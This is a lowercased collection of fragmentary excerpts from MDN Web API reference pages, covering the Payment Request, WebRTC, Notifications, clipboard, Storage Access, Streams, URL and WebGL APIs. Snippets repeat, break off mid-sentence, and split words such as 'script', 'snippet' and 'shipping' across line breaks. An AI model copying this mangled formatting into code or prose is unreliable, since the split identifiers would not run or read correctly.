... the nondocumenttypechildnode.nextelementsibling read-only property returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. ...
...the last one in the list. ...
...<div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <scr
ipt type="text/javascr
ipt"> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </scr
ipt> this example outputs the following into the console when it loads: siblings of div-01: div scr
ipt polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following sn
ippet can be used to add support to ie8: // source: https://github.com/alhadis/sn
ippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ va...
Using the Notifications API - Web APIs
the promise-based version of notification.requestpermission() is supported. if it is, we run the promise-based version (supported everywhere except safari), and if not, we run the older callback-based version (which is supported in safari). to avoid duplicating code, we have stored a few bits of housekeeping code inside the handlepermission() function, which is the first main block inside this sn
ippet. inside here we explicitly set the notification.permission value (some old versions of chrome failed to do this automatically), and show or hide the button depending on what the user chose in the permission dialog. we don't want to show it if permission has already been granted, but if the user chose to deny permission, we want to give them the chance to change their mind later on. note: bef...
...n(). if so, we move on and return true. if it fails, we return false in the catch() {} block. creating a notification creating a notification is easy; just use the notification constructor. this constructor expects a title to display within the notification and some options to enhance the notification such as an icon or a text body. for example, in the to-do-list example we use the following sn
ippet to create a notification when required (found inside the createnotification() function): var img = '/to-do-notifications/img/icon-128.png'; var text = 'hey! your task "' + title + '" is now overdue.'; var notification = new notification('to do list', { body: text, icon: img }); closing notifications used close() to remove a notification that is no longer relevant to the user (e.g. the user ...
...d on it. replacing existing notifications it is usually undesirable for a user to receive a lot of notifications in a short space of time -- for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? to avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or mult
iple pending notifications with a new one. to do this, it's possible to add a tag to any new notification. if a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. if the notification with the same tag has already been displayed, the previous notification is closed and the new one is displayed. tag example assume the foll...
... tag to any new notification. if a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. if the notification with the same tag has already been displayed, the previous notification is closed and the new one is displayed. ...
PaymentAddress - Web APIs
the paymentaddress interface of the payment request api is used to store sh
ipping or payment address information. it may be useful to refer to the universal postal union web site's addressing s42 standard materials, which provide information about international standards for postal addresses. properties paymentaddress.addressline read only an array of domstring objects providing each line of the address not included among the other properties. the exact size and content varies by country or location and can include, for example, a street name, house number, apartment number, rural delivery route, descr
iptive instructions, or post office box number. paymentaddress.country read only a domstring specifying the country in which the address is located, using the iso-3166-1 a...
...ality read only a domstring giving the dependent locality or sublocality within a city, for example, a neighborhood, borough, district, or uk dependent locality. paymentaddress.organization read only a domstring specifying the name of the organization, firm, company, or institution at the payment address. paymentaddress.phone read only a domstring specifying the telephone number of the rec
ipient or contact person. paymentaddress.postalcode read only a domstring specifying a code used by a jurisdiction for mail routing, for example, the z
ip code in the united states or the pin code in india. paymentaddress.rec
ipient read only a domstring giving the name of the rec
ipient, purchaser, or contact person at the payment address. paymentaddress.region read only a domstring containin...
...dard serializer that returns a json representation of the paymentaddress object's properties. examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters -- one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and sh
ipping options), and an optional object containing further options. the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary. const supportedinstruments = [ { supportedmethods: "basic-card", }, ]; const details = { total: { label: "donation", amount: { currency: "usd", va...
...a property that has to conform to the structure defined by the basiccardrequest dictionary. const supportedinstruments = [ { supportedmethods: "basic-card", }, ]; const details = { total: { label: "donation", amount: { currency: "usd", value: "65.00" } }, displayitems: [ { label: "original donation amount", amount: { currency: "usd", value: "65.00" }, }, ], sh
ippingoptions: [ { id: "standard", label: "standard sh
ipping", amount: { currency: "usd", value: "0.00" }, selected: true, }, ], }; const options = { requestsh
ipping: true }; async function dopaymentrequest() { const request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's paym...
PaymentDetailsBase - Web APIs
the paymentdetailsbase dictionary is a mixin used by the paymentdetailsinit and paymentdetailsupdate dictionaries. it is never directly used by developers and is included here only to be used as the basis for those documents. properties displayitemsoptional an array of paymentitem objects, each describing one line item for the payment request. ...
... derived dictionaries the following dictionaries include paymentdetailsbase. ...
... derived dictionaries the following dictionaries include paymentdetailsbase. paymentdetailsinit provides payment information when calling the paymentrequest() constructor. ...
... derived dictionaries the following dictionaries include paymentdetailsbase. paymentdetailsinit provides payment information when calling the paymentrequest() constructor. paymentdetailsupdate provides updated payment details while the payment user interface is being handled. ...
PaymentRequest - Web APIs
d apps accept payments from the end user on behalf of the operator of the site or the publisher of the app. constructor paymentrequest() secure context creates a new paymentrequest object. properties paymentrequest.id read only secure context an unique identifier for a particular paymentrequest, which can be set via details.id. when none is set, it defaults to a uuid. paymentrequest.sh
ippingaddress read only secure context if requested via payment options, returns the sh
ipping address chosen by the user for the purposes of calculating sh
ipping. this property is only populated if the constructor is called with the requestsh
ipping flag set to true. additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to comp...
... options, returns the sh
ipping address chosen by the user for the purposes of calculating sh
ipping. this property is only populated if the constructor is called with the requestsh
ipping flag set to true. additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "pay"). paymentrequest.sh
ippingoption read only secure context returns the identifier of the selected sh
ipping option. this property is only populated if the constructor is called with the requestsh
ipping flag set to true. paymentrequest.sh
ippingtype read only secure context returns the type of sh
ipping used to fulfill the transaction. ...
... methods paymentrequest.canmakepayment() secure context indicates whether the paymentrequest object can make a payment before calling show(). ...
... that the merchant or vendor requesting payment is legitimate. also available using the onmerchantvalidation event handler property. paymentmethodchange secure context with some payment handlers (e.g., apple pay), dispatched whenever the user changes payment instrument, like switching from a credit card to a debit card. also available using the onpaymentmethodchange event handler property. sh
ippingaddresschange secure context dispatched whenever the user changes their sh
ipping address. also available using the onsh
ippingaddresschange event handler property. sh
ippingoptionchange secure context dispatched whenever the user changes a sh
ipping option. also available using the onsh
ippingoptionchange event handler property. specifications specification status comment ...
Payment Request API - Web APIs
merchants and users. it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a merchant. payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require mult
iple steps to complete. the payment request api is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. it aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a html form. advantages of using the payment request api with "basic-card" (card-base...
... as the browser controls the input elements of the payment sheet, it can assure consistent keyboard and screen reader accessibility on every website without developers needing to do anything. a browser could also adjust the font size or color contrast of the payment sheet, making it more comfortable for the user to make a payment. credentials management: users can manage their credit cards and sh
ipping addresses directly in the browser. a browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things. consistent error handling: the browser can check the validity of card numbers, and can tell the user if a card has expired (or is about to expire). the browser can automatically suggest which card to use base...
...xchange information with the user agent while the user provides input to complete the transaction. you can find a complete guide in using the payment request api. note: the api is available inside cross-origin <iframe> elements only if they have had the allowpaymentrequest attribute set on them. interfaces paymentaddress an object that contains address information; used for billing and sh
ipping addresses, for example. paymentrequest an object that provides the api for creating and managing the user agent's payment interface. paymentrequestevent an event delivered to a payment handler when a paymentrequest is made. paymentrequestupdateevent enables the web page to update the details of the payment request in response to a user action. paymentmethodchangeevent represents the u...
... card). paymentresponse an object returned after the user selects a payment method and approves a payment request. merchantvalidationevent represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use apple pay). dictionaries addresserrors a dictionary containing strings providing descr
iptive explanations of any errors in any paymentaddress entries which have errors. payererrors a dictionary containing strings providing descr
iptive explanations of any errors in related to paymentresponse's email, phone, and name attributes. paymentdetailsupdate an object describing changes that need to be made to the payment details in the event that the server needs to update information foll...
RTCIceCandidate.type - Web APIs
the candidate a-line, if it's formatted properly, being taken from its cand-type field. syntax var type = rtcicecandidate.type; value a domstring whose value is one of those defined by the rtcicecandidatetype enumerated type. these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. ...
...ly, being taken from its cand-type field. syntax var type = rtcicecandidate.type; value a domstring whose value is one of those defined by the rtcicecandidatetype enumerated type. these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. host the candidate is a host candidate, whose
ip address as specified in the rtcicecandidate.
ip property is in fact the true address of the remote peer. srflx the candidate is a server reflexive candidate; the
ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously. prflx the candidate is a peer reflexive candidate; the
ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously. relay t...
...erver reflexive candidate; the
ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously. prflx the candidate is a peer reflexive candidate; the
ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously. relay the candidate is a relay candidate, obtained from a turn server. the relay candidate's
ip address is an address the turn server uses to forward the media between the two peers. if type is null, that information was missing from the candidate's a-line, which will cause rtcpeerconnection.addicecandidate() to throw an operationerror exception. ...
... if (candidate.type == "host") { showhostcontrols(); } else { hidehostcontrols(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.type' in that specification. ...
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate(). this adds this new remote candidate to the rtcpeerconnection's remote descr
iption, which describes the state of the remote end of the connection. if the candidate parameter is missing or a value of null is given when calling addicecandidate(), the added ice candidate is an "end-of-candidates" indicator. the same is the case if the value of the specified object's candidate is either missing or an empty string (""), it signals that all remote candidates have been delivered. the end-of-candidates notification is transmitted to the remote peer using a cand...
... the ice candidate has been successfully added. this function receives no input parameters and doesn't return a value. failurecallback a function to be called if attempting to add the ice candidate fails. receives as input a domexception object describing why failure occurred. return value a promise which is fulfilled when the candidate has been successfully added to the remote peer's descr
iption by the ice agent. the promise does not receive any input parameters. exceptions when an error occurs while attempting to add the ice candidate, the promise returned by this method is rejected, returning one of the errors below as the name attribute in the specified domexception object passed to the rejection handler. typeerror the specified candidate's sdpmid and sdpmlineindex are both ...
...occurs while attempting to add the ice candidate, the promise returned by this method is rejected, returning one of the errors below as the name attribute in the specified domexception object passed to the rejection handler. typeerror the specified candidate's sdpmid and sdpmlineindex are both null. invalidstateerror the rtcpeerconnection currently has no remote peer established (remotedescr
iption is null). operationerror this can happen for a number of reasons: the value specified for sdpmid is non-null and doesn't match the media descr
iption id of any media descr
iption included within the remotedescr
iption. the specified value of sdpmlineindex is greater than or equal to the number of media descr
iptions included in the remote descr
iption. the specified ufrag doesn't match t...
...happen for a number of reasons: the value specified for sdpmid is non-null and doesn't match the media descr
iption id of any media descr
iption included within the remotedescr
iption. the specified value of sdpmlineindex is greater than or equal to the number of media descr
iptions included in the remote descr
iption. the specified ufrag doesn't match the ufrag field in any of the remote descr
iptions being considered. one or more of the values in the candidate string are invalid or could not be parsed. attempting to add the candidate fails for any reason. examples this code sn
ippet shows how to signal ice candidates across an arbitrary signaling channel. // this example assumes that the other peer is using a signaling channel as follows: // // pc.onicecandidate = event => { ...
RTCPeerConnection.createAnswer() - Web APIs
arameters in older code and documentation, you may see a callback-based version of this function. this has been deprecated and its use is strongly discouraged. you should update any existing code to use the promise-based version of createanswer() instead. the parameters for this form of createanswer() are described below, to aid in updating existing code. successcallback an rtcsessiondescr
iptioncallback which will be passed a single rtcsessiondescr
iption object describing the newly-created answer. failurecallback an rtcpeerconnectionerrorcallback which will be passed a single domexception object explaining why the request to create an answer failed. options optional an optional rtcofferoptions object providing options requested for the answer. exceptions notreadableerror ...
...n optional rtcofferoptions object providing options requested for the answer. exceptions notreadableerror the identity provider wasn't able to provide an identity assertion. operationerror generation of the sdp failed for some reason; this is a general failure catch-all exception. return value a promise whose fulfillment handler is called with an object conforming to the rtcsessiondescr
iptioninit dictionary which contains the sdp answer to be delivered to the other peer. example here is a segment of code taken from the code that goes with the article signaling and video calling. this code comes from the handler for the message sent to carry an offer to another peer across the signaling channel. keep in mind that this is part of the signaling process, the transport layer for wh...
...is used to send a json message with a type field with the value "video-answer" to the other peer, carrying the answer to the device which sent the offer to connect. the contents of the object being passed to the sendtoserver() function, along with everything else in the promise fulfillment handler, depend entirely on your design pc.createanswer().then(function(answer) { return pc.setlocaldescr
iption(answer); }) .then(function() { // send the answer to the remote peer through the signaling server. }) .catch(handlegetusermediaerror); this asks rtcpeerconnection to create and return a new answer. in our promise handler, the returned answer is set as the descr
iption of the local end of the connection by calling setlocaldescr
iption(). once that succeeds, the answer is sent to the signali...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createanswer()' in that specification. ...
RTCPeerConnection.onsignalingstatechange - Web APIs
the onsignalingstatechange event handler property of the rtcpeerconnection interface specifies a function to be called when the signalingstatechange event occurs on an rtcpeerconnection interface. the function receives as input the event object of type event; this event is sent when the peer connection's signalingstate changes, which may happen either because of a call to setlocaldescr
iption() or to setremotedescr
iption(). syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set this to a function which you provide that receives an event object as input; this contains the signalingstatechange event. this event object doesn't provide details about what changed, but you can examine the signalingstate property to determine what the new state is. you may also, as always, ...
...o determine what the new state is. ...
...tener("signalingstatechange", mysignalingstatechangehandler); or, using an anonymous (inline) handler: myrtcpeerconnection.addeventlistener("signalingstatechange", event => { /* handle the event here */ }); example this sn
ippet shows a handler for signalingstatechange that looks for the "have-local-pranswer" signaling state--indicating that a remote offer has been received and a local descr
iption of type "pranswer" has been applied in response. ...
...{ /* handle the event here */ }); example this sn
ippet shows a handler for signalingstatechange that looks for the "have-local-pranswer" signaling state--indicating that a remote offer has been received and a local descr
iption of type "pranswer" has been applied in response. pc.onsignalingstatechange = function(event) { if (pc.signalingstate === "have-local-pranswer") { // setlocaldescr
iption() has been called with an answer } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onsignalingstatechange' in that specification. candidate recommendation initial specification. ...
SVGGraphicsElement: cut event - Web APIs
the cut event is fired on an svggraphicselement when the user has initiated a "cut" action through the browser's user interface. if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data. bubbles yes cancelable yes interface cl
ipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system cl
ipboard and remove it from the document. a handler for this event can modify the cl
ipboard contents by calling setdata(format, data) on the event's cl
ipboardevent.cl
ipboarddata property, and cancelling the default action using event.preventdefault(). note though that cancelling the default action will also prevent the docu...
...ndler for this event can modify the cl
ipboard contents by calling setdata(format, data) on the event's cl
ipboardevent.cl
ipboarddata property, and cancelling the default action using event.preventdefault(). note though that cancelling the default action will also prevent the document from being updated. so an event handler which wants to emulate the default action for "cut" while modifying the cl
ipboard must also manually remove the selection from the document. the handler cannot read the cl
ipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system cl
ipboard or the document's contents. specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that th...
...d must also manually remove the selection from the document. the handler cannot read the cl
ipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system cl
ipboard or the document's contents. ...
...e document. the handler cannot read the cl
ipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system cl
ipboard or the document's contents. specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the cl
ipboard events apply to svg elements. ...
SVGGraphicsElement: paste event - Web APIs
the paste event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface cl
ipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the cl
ipboard into the document at the cursor position. ...
... yes cancelable yes interface cl
ipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the cl
ipboard into the document at the cursor position. a handler for this event can access the cl
ipboard contents by calling getdata() on the event's cl
ipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the cl
ipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste event, but this will ...
...ttp://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascr
ipt document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.cl
ipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the cl
ipboard events apply to svg eleme...
...lementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.cl
ipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the cl
ipboard events apply to svg elements. cl
ipboard api and events working draft initial definition ...
Selection - Web APIs
a user may make a selection from left to right (in document order) or right to left (reverse of document order). the anchor is where the user began the selection and the focus is where the user ends the selection. if you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button. ...
...rrently being represented by the selection object, i.e. the currently selected text. notes string representation of a selection calling the selection.tostring() method returns the text contained within the selection, e.g.: var selobj = window.getselection(); window.alert(selobj); note that using a selection object as the argument to window.alert will call the object's tostring method. ...
...ult
iple ranges in a selection a selection object represents the ranges that the user has selected. typically, it holds only one range, accessed as follows: var selobj = window.getselection(); var range = selobj.getrangeat(0); selobj is a selection object range is a range object as the selection api specification notes, the selection api was initially created by netscape and allowed mult
iple ranges (for instance, to allow the user to select a column from a <table>). however, browsers other than gecko did not implement mult
iple ranges, and the specification also requires the selection to always have a single range. selection and input focus selection and input focus (indicated by document.activeelement) have a complex relationsh
ip that varies by browser. in cross-browser compatibl...
...ocus is the end of the selection that moves. this is not the same as the focused element of the document, as returned by document.activeelement. range a range is a contiguous part of a document. a range can contain entire nodes as well as portions of nodes (such as a portion of a text node). a user will normally only select a single range at a time, but it's possible for a user to select mult
iple ranges (e.g., by using the control key). a range can be retrieved from a selection as a range object. range objects can also be created via the dom and programmatically added or removed from a selection. specifications specification status comment selection apithe definition of 'selection' in that specification. working draft the selection api specification is b...
Storage Access API - Web APIs
eaccess() method, and check whether it already has access via the document.hasstorageaccess() method. in addition, sandboxed <iframe>s cannot be granted storage access by default for security reasons. the api therefore also adds the allow-storage-access-by-user-activation sandbox token. the embedding website needs to add this to allow storage access requests to be successful, along with allow-scr
ipts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scr
ipts allow-same-origin"> ... </iframe> the api is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. this is enforced through the f...
...tomatically denied unless the embedded content is currently processing a user gesture such as a tap or click. this also prevents embedded content on the page from spamming the browser or user with excessive access requests. origins that have never been interacted with as a first party do not have a notion of first-party storage. from the user's perspective, they only have a third-party relationsh
ip with that origin. access requests are automatically denied if the browser detects that the user hasn't interacted with the embedded content in a first-party context recently (in firefox, "recently" is "within 30 days"). the browser may decide to involve the user in the decision of whether to grant an incoming storage access request. specifics regarding the lifetime of a storage grant and the ci...
...age access successfully, all other iframes from tracker.example on foo.example top-level origins will immediately gain storage access as well, without needing to call requeststorageaccess() separately. if an embedded page from tracker.example has previously successfully obtained storage access on top-level origin foo.example, all embedded subresources from tracker.example on foo.example (e.g. scr
ipts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send cookie headers and honor incoming set-cookie headers. in firefox, when the promise returned from requeststorageaccess() is resolved, the embedded page will gain access to its entire first-party storage, not just cookies. this includes access to apis such as web storage, indexeddb, dom cac...
...afari the storage access grants are phased out after 30 days of browser usage passed without user interaction. this is currently a limitation of the firefox implementation, which we may address in a future version. in safari, successful use of the storage access api resets this counter. documentation for firefox's new storage access policy for blocking tracking cookies includes a detailed descr
iption of the scope of storage access grants. storage access api methods the storage api methods are implemented on the document interface: document.hasstorageaccess() returns a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. document.requeststorageaccess() returns a promise that resolves if the access to first-party storage w...
Streams API - Web APIs
the streams api allows javascr
ipt to programmatically access streams of data received over the network and process them as desired by the developer. concepts and usage streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. this is something browsers do anyway when receiving assets to be shown on webpages -- videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascr
ipt before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lo...
...you'll see images display gradually as more is loaded. but this has never been available to javascr
ipt before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received. with streams being available to javascr
ipt, this all changes -- you can now start processing raw data with javascr
ipt bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob. there are more advantages too -- you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at. the ba...
...t-in backpressure and queuing. writablestreamdefaultwriter represents a default writable stream writer that can be used to write chunks of data to a writable stream. writablestreamdefaultcontroller represents a controller allowing control of a writablestream's state. when constructing a writablestream, the underlying sink is given a corresponding writablestreamdefaultcontroller instance to man
ipulate. related stream apis and operations bytelengthqueuingstrategy provides a built-in byte length queuing strategy that can be used when constructing streams. countqueuingstrategy provides a built-in chunk counting queuing strategy that can be used when constructing streams. extensions to other apis request when a new request object is constructed, you can pass it a readablestream ...
...nqueue them as chunks, and then read them back out again. simple tee example: this example extends the simple random stream example, showing how a stream can be teed and both resulting streams can be read independently. simple writer: this example shows how to to write to a writable stream, then decode the stream and write the contents to the ui. unpack chunks of a png: this example shows how p
ipethrough() can be used to transform a readablestream into a stream of other data types by transforming a data of a png file into a stream of png chunks. examples from other developers: progress indicators with streams, service workers, & fetch. specifications specification status comment streams living standard initial definition. ...
Multi-touch interaction - Web APIs
lication-specific gestures. a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. example this example demonstrates using the touchstart, touchmove, touchcancel, and touchend) touch events for the following gestures: single touch, two (simultaneous) touches, more than two simultaneous touches, 1-finger sw
ipe, and 2-finger move/pinch/sw
ipe. define touch targets the application uses <div> elements to represent four touch areas. <style> div { margin: 0em; padding: 2em; } #target1 { background: white; border: 1px solid black; } #target2 { background: white; border: 1px solid black; } #target3 { background: white; border: 1px solid black; } #target4 { ...
... if (logevents) log(ev.type, ev, false); if (ev.targettouches.length == 0) { // restore background and border to original values ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; } } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and clear the log. ...
...ev.targettouches.length == 0) { // restore background and border to original values ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; } } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and clear the log. ...
...ckground and border to original values ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; } } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and clear the log. <div id="target1"> tap, hold or sw
ipe me 1</div> <div id="target2"> tap, hold or sw
ipe me 2</div> <div id="target3"> tap, hold or sw
ipe me 3</div> <div id="target4"> tap, hold or sw
ipe me 4</div> <!-- ui for logging/bebugging --> <button id="log" onclick="enablelog(event);">start/stop event logging</button> <button id="clearlog" onclick="clearlog(event);">clear the log</button> <p></p> <output></output> miscellaneous functions these functions support the application but aren't directly involved with the event flow. update b...
URL API - Web APIs
the url api is a component of the url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and man
ipulates urls. the url standard also defines concepts such as domains, hosts, and
ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms' contents as a set of key/value pairs. url concepts and usage the majority of the url standard is taken up by the definition of a url and how it is structured and parsed. also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing
ip addresses and dom addresses are specified. more interesting to most developers is the api itself. accessing url components creat...
...in this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively. changing the url most of the properties of url are settable; you can write new values to them to alter the url represented by the object. ...
...of the properties of url are settable; you can write new values to them to alter the url represented by the object. for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url. after executing the code sn
ippet above, the value returned by addr.href is https://someguy@mysite.com/login. this is true for any of the writable properties. queries the search property on a url contains the query string portion of the url. for example, if the url is https://mysite.com/login?user=someguy&page=news, then the value of the search property is ?user=someguy&page=news. you can also look up the values of individua...
... value of the search property is ?user=someguy&page=news. you can also look up the values of individual parameters with the urlsearchparams object's get() method: let addr = new url("https://mysite.com/login?user=someguy&page=news"); try { loginuser(addr.searchparams.get("user")); gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above sn
ippet, the username and target page are taken from the query and passed to appropriate functions that are used by the site's code to log in and route the user to their desired destination within the site. other functions within urlsearchparams let you change the value of keys, add and delete keys and their values, and even sort the list of parameters. url api interfaces the url api is a simple on...
WebGLRenderingContext.texParameter[fi]() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture. gl.texture_2d_array: a two-dimensional array texture. the pname parameter is a glenum specifying the texture parameter to set. the param parameter is a glfloat or glint specifying the value for the specified parameter pname. pname descr
iption param available in webgl 1 gl.texture_mag_filter texture magnification filter gl.linear (default value), gl.nearest. gl.texture_min_filter texture minification filter gl.linear, gl.nearest, gl.nearest_m
ipmap_nearest, gl.linear_m
ipmap_nearest, gl.nearest_m
ipmap_linear (default value), gl.linear_m
ipmap_linear. gl.texture_wrap_s wrapping ...
... wrapping function for texture coordinate t gl.repeat (default value),gl.clamp_to_edge, gl.mirrored_repeat. additionally available when using the ext_texture_filter_anisotropic extension ext.texture_max_anisotropy_ext maximum anisotropy for a texture a glfloat value. ...
... gl.texture_max_lod texture maximum level-of-detail value any float values. gl.texture_min_lod texture minimum level-of-detail value any float values. gl.texture_wrap_r wrapping function for texture coordinate r gl.repeat (default value), gl.clamp_to_edge, gl.mirrored_repeat. ...
... gl.texture_min_lod texture minimum level-of-detail value any float values. gl.texture_wrap_r wrapping function for texture coordinate r gl.repeat (default value), gl.clamp_to_edge, gl.mirrored_repeat. return value none. examples gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear_m
ipmap_nearest); specifications specification status comment webgl 1.0the definition of 'texparameter[fi]' in that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'gltexparameter' in that specification. standard man page of the (similar) opengl es 2.0 api. webgl 2.0the definition of 'texparameter[fi]' ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
secutive vertex attributes. cannot be larger than 255. if stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but each attribute is in a separate block, and the next vertex' attribute follows immediately after the current vertex. offset a glintptr specifying an offset in bytes of the first component in the vertex attribute array. must be a mult
iple of the byte length of type. return value none. exceptions a gl.invalid_value error is thrown if offset is negative. a gl.invalid_operation error is thrown if stride and offset are not mult
iples of the size of the data type. a gl.invalid_operation error is thrown if no webglbuffer is bound to the array_buffer target. when using a webgl 2 context, a gl.invalid_operation error is thrown ...
...each vertex has a few attributes, like position, normal vector, or texture coordinate, that are defined in an arraybuffer and will be supplied to the vertex buffer object (vbo). ...
...uld set the "position" attribute to index 3. integer attributes while the arraybuffer can be filled with both integers and floats, the attributes will always be converted to a float when they are sent to the vertex shader. if you need to use integers in your vertex shader code, you can either cast the float back to an integer in the vertex shader (e.g. (int) floatnumber), or use gl.vertexattrib
ipointer() from webgl2. default attribute values the vertex shader code may include a number of attributes, but we don't need to specify the values for each attribute. instead, we can supply a default value that will be identical for all vertices. we can call gl.disablevertexattribarray() to tell webgl to use the default value, while calling gl.enablevertexattribarray() will read the values from t...
...he array buffer, so you use gl.vertexattrib4fv() to set a constant color. querying current settings you can call gl.getvertexattrib() and gl.getvertexattriboffset() to get the current parameters for an attribute, e.g. the data type or whether the attribute should be normalized. keep in mind that these webgl functions have a slow performance and it is better to store the state inside your javascr
ipt application. however, these functions are great for debugging a webgl context without touching the application code. examples this example shows how to send your vertex attributes to the shader program. we use an imaginary data structure where the attributes of each vertex are stored interleaved with a length of 20 bytes per vertex: position: we need to store the x, y and z coordinates. for...
WebGL types - Web APIs
used for example in webglrenderingcontext.clear(). glbyte byte 8-bit twos complement signed integer. glshort short 16-bit twos complement signed integer. glint long 32-bit twos complement signed integer. ...
...used for example in webglrenderingcontext.clear(). glbyte byte 8-bit twos complement signed integer. glshort short 16-bit twos complement signed integer. glint long 32-bit twos complement signed integer. ...
...renderingcontext.clear(). glbyte byte 8-bit twos complement signed integer. glshort short 16-bit twos complement signed integer. glint long 32-bit twos complement signed integer. glsizei long used for sizes (e.g. width and height of the drawing buffer). glintptr long long special type for pointer arithmetic. glsize
iptr long long special type for pointer arithmetic. glubyte octet 8-bit twos complement unsigned integer. glushort unsigned short 16-bit twos complement unsigned integer. gluint unsigned long 32-bit twos complement unsigned integer. glfloat unrestricted float 32-bit ieee floating point number. glclampf unrestricted float ...
